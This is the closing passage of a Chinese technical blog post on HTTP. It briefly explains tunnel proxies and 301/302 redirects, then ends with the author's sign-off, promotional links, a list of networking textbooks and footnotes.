為了解決這個(gè)問題,于是引入了隧道代理,隧道代理不在作為中間人,也不會(huì)改寫瀏覽器的任何請求,而是把瀏覽器的通信數(shù)據(jù)原樣透傳,這樣就實(shí)現(xiàn)了讓客戶端通過中間代理,和服務(wù)器進(jìn)行TLS握手,然后進(jìn)行加密傳輸。
其工作流程大致如下:

4.7、HTTP重定向
這里我們重點(diǎn)關(guān)注兩個(gè):
- 301 永久重定向
- 302 臨時(shí)重定向
在收到重定向的狀態(tài)碼之后,客戶端會(huì)檢測響應(yīng)頭里面的Location字段,從里面取出URI,從而自動(dòng)發(fā)起新的HTTP請求。
最常見的使用重定向的例子:
- 由于網(wǎng)頁遷移,為了不影響SEO,把舊的網(wǎng)址的URL 301重定向到新版的網(wǎng)址;
- 由于服務(wù)臨時(shí)升級(jí),把原來服務(wù)請求302重定向到一個(gè)升級(jí)提示頁面,但這樣會(huì)導(dǎo)致服務(wù)端多了一倍的請求量,有時(shí)候我們是直接在服務(wù)端反悔了升級(jí)提示的頁面。
這篇文章的內(nèi)容就介紹到這里,能夠閱讀到這里的朋友真的是很有耐心,為你點(diǎn)個(gè)贊。
本文為arthinking基于相關(guān)技術(shù)資料和官方文檔撰寫而成,確保內(nèi)容的準(zhǔn)確性,如果你發(fā)現(xiàn)了有何錯(cuò)漏之處,煩請高抬貴手幫忙指正,萬分感激。
如果您覺得讀完本文有所收獲的話,可以關(guān)注我的賬號(hào),或者點(diǎn)贊吧,碼字不易,您的支持就是我寫作的最大動(dòng)力,再次感謝!
為了把相關(guān)系列文章收集起來,方便后續(xù)查閱,這里我創(chuàng)建了一個(gè)Github倉庫,把發(fā)布的文章按照分類收集起來了,感興趣的朋友可以Star跟進(jìn):

關(guān)注我的博客IT宅(itzhai.com)或者公眾號(hào)Java架構(gòu)雜談,及時(shí)獲取最新的文章。我將持續(xù)更新后端相關(guān)技術(shù),涉及JVM、Java基礎(chǔ)、架構(gòu)設(shè)計(jì)、網(wǎng)絡(luò)編程、數(shù)據(jù)結(jié)構(gòu)、數(shù)據(jù)庫、算法、并發(fā)編程、分布式系統(tǒng)等相關(guān)內(nèi)容。
References
- 謝希仁. 計(jì)算機(jī)網(wǎng)絡(luò)(第6版). 電子工業(yè)出版社.
- TCP/IP詳解 卷1:協(xié)議(原書第2版). 機(jī)械工業(yè)出版社.
- UNIX網(wǎng)絡(luò)編程 卷1:套接字聯(lián)網(wǎng)API. 人民郵電出版社
- HTTP權(quán)威指南. 人民郵電出版社
- HTTP/2基礎(chǔ)教程. 人民郵電出版社
- 劉超. 趣談網(wǎng)絡(luò)協(xié)議. 極客時(shí)間
- 羅劍鋒. 透視HTTP協(xié)議. 即可時(shí)間
本文同步發(fā)表于我的博客IT宅(itzhai.com)和公眾號(hào)(Java架構(gòu)雜談)
作者:arthinking | 公眾號(hào):Java架構(gòu)雜談
博客鏈接:https://www.itzhai.com/articles/secrets-of-http-common-request-headers.html
版權(quán)聲明: 版權(quán)歸作者所有,未經(jīng)許可不得轉(zhuǎn)載,侵權(quán)必究!聯(lián)系作者請加公眾號(hào)。
-
《HTTP權(quán)威指南》第17章 內(nèi)容協(xié)商與轉(zhuǎn)碼. 人民郵電出版社. P413 ?
-
兩萬字長文50+張趣圖帶你領(lǐng)悟網(wǎng)絡(luò)編程的內(nèi)功心法-TCP連接管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、連接管理 ? ?
-
《HTTP權(quán)威指南》 第六章 代理 ?
-
Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive ?
-
《HTTP權(quán)威指南》 第八章 集成點(diǎn):網(wǎng)關(guān)、隧道及中繼 ?